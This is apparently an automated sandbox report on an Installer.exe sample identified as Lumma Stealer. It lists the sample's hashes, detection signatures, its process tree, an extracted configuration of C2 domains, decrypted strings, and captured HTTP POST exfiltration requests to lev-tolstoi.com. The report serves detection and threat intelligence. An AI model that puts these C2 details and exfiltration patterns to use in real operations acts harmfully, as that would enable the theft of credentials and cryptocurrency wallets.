Edit tour

Windows Analysis Report
Installer.exe

Overview

General Information

Sample name:	Installer.exe
Analysis ID:	1581507
MD5:	0cebf27d0066d6ea5653547254e236e4
SHA1:	badfc5a68c17d2d1112e50ccd8ececeb4f8ba8a9
SHA256:	21d9bba7ae0dfb0892e5345ee42d73e241e0d9841a17ff340f6278e86d8f54f4
Tags:	exeLummaStealersigneduser-ventoy
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Installer.exe (PID: 7424 cmdline: "C:\Users\user\Desktop\Installer.exe" MD5: 0CEBF27D0066D6EA5653547254E236E4)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Installer.exe (PID: 7480 cmdline: "C:\Users\user\Desktop\Installer.exe" MD5: 0CEBF27D0066D6EA5653547254E236E4)

Installer.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\Installer.exe" MD5: 0CEBF27D0066D6EA5653547254E236E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["rebuildeso.buzz", "mindhandru.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz"], "Build id": "yau6Na--5223198671"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.1835675481.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1835591588.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1835776038.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1874516417.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Installer.exe PID: 7488	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Installer.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Installer.exe PID: 7488	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Installer.exe PID: 7488	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:25.610456+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:13:28.309145+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:13:30.378308+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:13:32.784606+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T23:13:35.188581+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.66.86	443	TCP
2024-12-27T23:13:37.425413+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T23:13:40.144074+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.66.86	443	TCP
2024-12-27T23:13:42.627339+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.66.86	443	TCP
2024-12-27T23:13:46.299504+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:29.065912+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:13:31.195519+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:13:47.067796+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49747	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:29.065912+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49735	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:31.195519+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49736	104.21.66.86	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:40.950937+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:13:26.465709+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/apix:Z	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/$5	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/NVmA	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/espF	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/pi.W	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apim	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/S	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["rebuildeso.buzz", "mindhandru.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz"], "Build id": "yau6Na--5223198671"}

Multi AV Scanner detection for submitted file

Source: Installer.exe

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: Installer.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String decryptor: yau6Na--5223198671

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_00415200 CryptUnprotectData,

3_2_00415200

Source: Installer.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00361F38 FindFirstFileExW,		2_2_00361F38
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00361FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		2_2_00361FE9

Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0000026Dh]	3_2_00415200
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+70h]	3_2_00409370
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ecx	3_2_00409370
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0043F39E
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00440CE0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 798ECF08h	3_2_00439490
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 11A82DE9h	3_2_00439490
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+446E8726h]	3_2_00441DA0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	3_2_00440E00
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-2DC31920h]	3_2_00422E3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ecx	3_2_00422E3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+74842D10h]	3_2_00422E3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Ch]	3_2_004396A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx-4835D6BBh]	3_2_0040D7CF
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ebx	3_2_0040B79B
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	3_2_0041D050
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041780D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2DFE5A91h	3_2_004410D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2Ch]	3_2_0042788F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edi, dword ptr [ebp-10h]	3_2_0041C900
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0042B100
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ecx, eax	3_2_00427917
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then test eax, eax	3_2_0043A120
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+338E7E12h]	3_2_0043A120
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ebx, eax	3_2_00405930
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ebp, eax	3_2_00405930
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx eax, word ptr [ebp+00h]	3_2_0043A9D6
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_004409E0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx]	3_2_00426190
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edi, byte ptr [ecx]	3_2_0043E9B3
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2Ch]	3_2_00427A3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0041F2C0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004292E0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-535229ACh]	3_2_004402B0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_004402B0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B70
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00436370
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov eax, ecx	3_2_00408B00
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D306
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then jmp dword ptr [00448B7Ch]	3_2_00428307
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+esi-6Fh]	3_2_004393C0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-535229ACh]	3_2_004403D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_004403D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BBE3
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BC53
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-00000258h]	3_2_0043EC60
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ecx	3_2_00416C77
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D4D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-53h]	3_2_00419C90
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ecx	3_2_00419C90
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D49A
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_004074A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_004074A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BB19
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_00440550
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_0041C561
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax+26h]	3_2_0041C561
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041C561
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	3_2_00426513
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, ecx	3_2_00425DEA
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00425DEA
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 385488F2h	3_2_0043A640
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D64C
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-38h]	3_2_0043EE50
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042A660
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov edx, eax	3_2_0041966B
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00425E70
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_00440600
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], EABBD981h	3_2_0040DE13
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00417E1A
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ebx, eax	3_2_00417E1A
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then sub edx, 01h	3_2_00440690
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5B5F0E69h]	3_2_004146A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov eax, ecx	3_2_004146A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_004146A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ecx, eax	3_2_00426EB0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ecx, eax	3_2_0040A770
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then push eax	3_2_00415F19
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov ecx, edx	3_2_004227E0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_00416790
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_00416790
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx]	3_2_0041E7A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 4x nop then movsx ecx, byte ptr [edi+eax]	3_2_0043F7B2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49734 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49747 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49735 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PTTT95CE7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18114Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=V65PP5PG20HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8747Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L860Q9XLZ5OUXDNV6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20436Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I6ZOP83R0KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1218Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8TXD8I0K6I3O97JCMUWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570573Host: lev-tolstoi.com
